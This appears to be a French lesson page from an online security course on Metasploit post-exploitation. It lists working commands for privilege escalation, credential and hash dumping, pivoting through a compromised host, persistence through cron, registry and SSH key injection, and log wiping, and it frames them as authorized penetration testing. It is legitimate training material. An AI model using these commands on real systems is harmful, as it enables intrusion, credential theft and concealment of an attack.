Cyber Security Academy · Leçon

Après l’exploitation : pivoter et persister

Utilisez les modules post-exploitation de Metasploit pour l’élévation de privilèges, l’extraction d’identifiants et la persistance.

Après l’exploitation : pivoter et persister est une leçon Cyber Security Academy gratuite sur CoddyKit. Ceci est la leçon 4 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Cyber Security Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Cyber Security Academy comprend 4 leçons au total.

Objectifs de l’après-exploitation

Après l’accès initial, les objectifs de l’attaquant sont d’élever ses privilèges, de recueillir des informations, de conserver un accès persistant et de se déplacer latéralement pour atteindre le véritable objectif : données, systèmes ou contrôle du domaine.

Connaissance de la situation

Après avoir obtenu un interpréteur de commandes, commencez par comprendre où vous vous trouvez. Recueillez les informations système, la configuration réseau, les privilèges de l’utilisateur actuel, les processus en cours d’exécution et les variables d’environnement.

meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/linux/gather/enum_system

Élévation des privilèges

L’élévation locale des privilèges permet de passer d’un interpréteur de commandes disposant de faibles privilèges au compte superutilisateur ou à SYSTEM. Le local_exploit_suggester de Metasploit identifie les codes d’exploitation locaux ou du noyau applicables en fonction de la version du système d’exploitation cible.

meterpreter > run post/multi/recon/local_exploit_suggester

# Identifies applicable exploits
# Then:
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit
msf6 > set SESSION 1
msf6 > run

Collecte d’informations d’identification

Récupérez les informations d’identification : mots de passe hachés, identifiants en clair dans les fichiers de configuration, mots de passe enregistrés dans les navigateurs et clés SSH. Elles permettent le déplacement latéral et la persistance.

meterpreter > run post/linux/gather/hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > run post/multi/gather/ssh_creds

# Check env vars for cleartext creds:
meterpreter > run post/multi/gather/env

Pivotement : transfert de ports

Le pivotement utilise un hôte compromis comme pont pour atteindre des réseaux internes isolés. Le portfwd de Metasploit crée des transferts de ports locaux via la session Meterpreter.

# Forward local port 3306 to internal DB
meterpreter > portfwd add -l 3306 -p 3306 -r 10.10.10.20

# Now connect locally:
mysql -h 127.0.0.1 -P 3306 -u root

Routage par les sessions

Le module de routage de Metasploit ajoute des routes réseau par l’intermédiaire d’une session, ce qui permet aux autres modules d’atteindre des réseaux accessibles uniquement via l’hôte pivot.

msf6 > route add 10.10.10.0/24 1   # route via session 1
msf6 > route print

# Now run modules targeting 10.10.10.x
# through session 1 as pivot

Pivotement avec un proxy SOCKS

Un proxy SOCKS via Metasploit (ou chisel/ssh -D) permet d’acheminer des outils arbitraires par le pivot à l’aide de proxychains : nmap, curl et les navigateurs peuvent ainsi atteindre les réseaux internes.

# Set up SOCKS proxy through session
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j

# Route tools through proxy
proxychains nmap -sT 10.10.10.0/24

Mécanismes de persistance

La persistance garantit que l’accès survive aux redémarrages et à la perte de session. Méthodes courantes : tâches cron sous Linux, clés d’exécution du registre sous Windows, injection de authorized_keys via SSH et installation de services.

# Linux: cron-based persistence
meterpreter > run post/linux/manage/cron_persistence

# Windows: registry
meterpreter > run post/windows/manage/persistence_exe

# SSH key injection
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

Effacement des traces

Les attaquants effacent les journaux pour rester discrets. Remarque de sécurité : les solutions SIEM et EDR modernes transmettent les journaux hors hôte en temps réel ; effacer les journaux locaux ne supprime pas les enregistrements centralisés.

meterpreter > clearev          # clear Windows event logs

# Linux: clear bash history
unset HISTFILE
cat /dev/null > ~/.bash_history

Modules d’après-exploitation

Metasploit comprend des centaines de modules d’après-exploitation pour Windows et Linux : collecte d’informations d’identification, données des navigateurs, enregistrement des frappes, capture d’écran et recensement du réseau.

msf6 > use post/windows/gather/enum_logged_on_users
msf6 > use post/multi/gather/browser_history
msf6 > use post/windows/gather/screen_spy
msf6 > set SESSION 1
msf6 > run

Savoir quand s’arrêter

Lors d’évaluations d’intrusion autorisées, arrêtez-vous lorsque vous atteignez l’objectif convenu du périmètre ou rencontrez des données auxquelles vous n’êtes pas autorisé à accéder. Documentez soigneusement votre parcours : il constitue la chaîne d’attaque que vous présenterez dans votre rapport.

Vérification rapide

Que permet la commande « route add » de Metasploit ?

Résumé : après-exploitation

L’après-exploitation s’appuie sur l’accès initial pour produire un impact réel : élévation des privilèges, collecte d’informations d’identification, déplacement latéral et persistance. Metasploit fournit des modules d’après-exploitation pour chaque étape. Documentez chaque étape : la chaîne d’attaque, de l’entrée jusqu’à l’objectif, constitue le livrable essentiel d’une évaluation d’intrusion.

Questions Fréquemment Posées

La leçon « Après l’exploitation : pivoter et persister » est-elle gratuite ?

Oui — le texte complet de « Après l’exploitation : pivoter et persister » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Cyber Security Academy, passe à CoddyKit PRO. Le cours Cyber Security Academy comprend 4 leçons au total.

Qu'est-ce que j'apprendrai dans « Après l’exploitation : pivoter et persister » ?

Utilisez les modules post-exploitation de Metasploit pour l’élévation de privilèges, l’extraction d’identifiants et la persistance. Tu pratiques Cyber Security Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.

Dois-je avoir de l'expérience pour commencer Cyber Security Academy ?

Aucune expérience préalable n'est requise. Cyber Security Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 4 sur 4.

Combien de temps prend la leçon « Après l’exploitation : pivoter et persister » ?

La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.

Peux-tu écrire et exécuter du code dans cette leçon Cyber Security Academy ?

Oui. Chaque leçon Cyber Security Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.

Toutes les leçons de ce cours

Architecture de Metasploit et msfconsole
Exploiter une vulnérabilité connue
Charges utiles : avec ou sans étapes, Meterpreter
Après l’exploitation : pivoter et persister

← Retour à Cyber Security Academy